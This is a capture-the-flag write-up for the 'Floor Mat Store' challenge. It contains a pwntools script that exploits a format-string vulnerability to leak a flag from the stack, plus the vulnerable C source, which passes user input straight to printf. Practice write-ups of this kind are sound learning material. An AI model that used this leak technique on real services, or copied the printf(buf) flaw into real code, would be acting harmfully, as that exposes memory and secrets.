Floor Mat Store

by _CryptoCat / Intigriti

Tags: format-string pwn format

Rating:

Description

> Welcome to the Floor Mat store! It's kind of like heaven.. for mats

Solution

Watch video for full solution (format string exploit), but here's a solve script (note the index will vary from local/remote, but you can just send `%p * 100` or something instead).

```
from pwn import *

# Connect to server
io = process('./floormats')

flag = ''

io.sendlineafter(b'Enter your choice:\n', b'6')
io.sendlineafter(b'Please enter your shipping address:\n',
                 b'%18$p %19$p %20$p %21$p')
io.recvuntil(b'Your floor mat will be shipped to:\n\n')

response = io.recv(1000)

# Split response by spaces
```

```
for i, p in enumerate(response.split(b' ')):
    try:
        if not b'nil' in p:
            try:
                # Decode, reverse endianess and print
                decoded = unhex(p.strip().decode()[2:])
                reversed_hex = decoded[::-1]
                print(str(i) + ": " + str(reversed_hex))
                # Build up flag
                flag += reversed_hex.decode()
            except BaseException as e:
                pass
    except EOFError:
        pass

# Print and close
info(flag)
io.close()
```

Running the script leaks the flag!

```
INTIGRITI{50_7h475_why_7h3y_w4rn_4b0u7_pr1n7f}
```

Bonus: source code

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    char *mats[] = {
        "1. Cozy Carpet Mat - $10",
        "2. Wooden Plank Mat - $15",
        "3. Fuzzy Shag Mat - $20",
        "4. Rubberized Mat - $12",
        "5. Luxury Velvet Mat - $25",
        "6. Mysterious Flag Mat - $1337"
    };

    char buf[128];
    char flag[64];
    char *flag_ptr = flag;

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("You have a flag.txt, right??\n");
        exit(0);
    }

    puts("Welcome to the Floor Mat store! It's kind of like heaven.. for mats.\n\nPlease choose from ou
r currently available floor mats\n\nNote: Out of stock items have been temporarily delisted\n");

    printf("Please select a floor mat:\n\n");
    for (int i = 0; i < 5; i++) {
```

```
        printf("%s\n", mats[i]);
    }

    int choice;
    printf("\nEnter your choice:\n");
    scanf("%d", &choice);

    if (choice < 1 || choice > 6) {
        printf("Invalid choice!\n\n");
        exit(1);
    }

    int matIndex = choice - 1;

    while (getchar() != '\n');

    if (matIndex == 5) {
        fgets(flag, sizeof(flag), file);
    }

    printf("\nPlease enter your shipping address:\n");

    fgets(buf, sizeof(buf), stdin);

    printf("\nYour floor mat will be shipped to:\n\n");

    printf(buf);

    return 0;
}
```

Original writeup (https://github.com/Crypto-Cat/CTF/blob/main/ctf_events/intigriti_23/pwn/floormat_store.md).

Comments